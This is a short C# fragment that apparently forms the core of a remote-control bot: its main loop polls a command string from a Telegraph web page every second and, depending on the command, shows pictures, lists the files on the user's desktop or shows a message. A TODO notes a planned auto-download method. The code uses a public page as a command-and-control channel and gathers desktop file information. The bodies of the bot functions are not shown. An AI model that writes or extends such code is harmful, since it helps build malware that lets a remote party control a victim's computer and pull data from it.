static void Main() { WebCommand wc = new WebCommand("https://telegra.ph/Tets-09-14"); BotFunctions bt = new BotFunctions(wc); while (true) { Thread.Sleep(1000); Console.WriteLine(wc.command); if (wc.command == "reb") { bt.ShowPrettyPictures(); } if (wc.command == "dir") { bt.GetAllFilesOnDesktop(); } if (wc.command == "msg") { bt.ShowMessage(); } } }
public BotFunctions(WebCommand wc) { this.wc = wc; //Todo AutoDownloadMethod }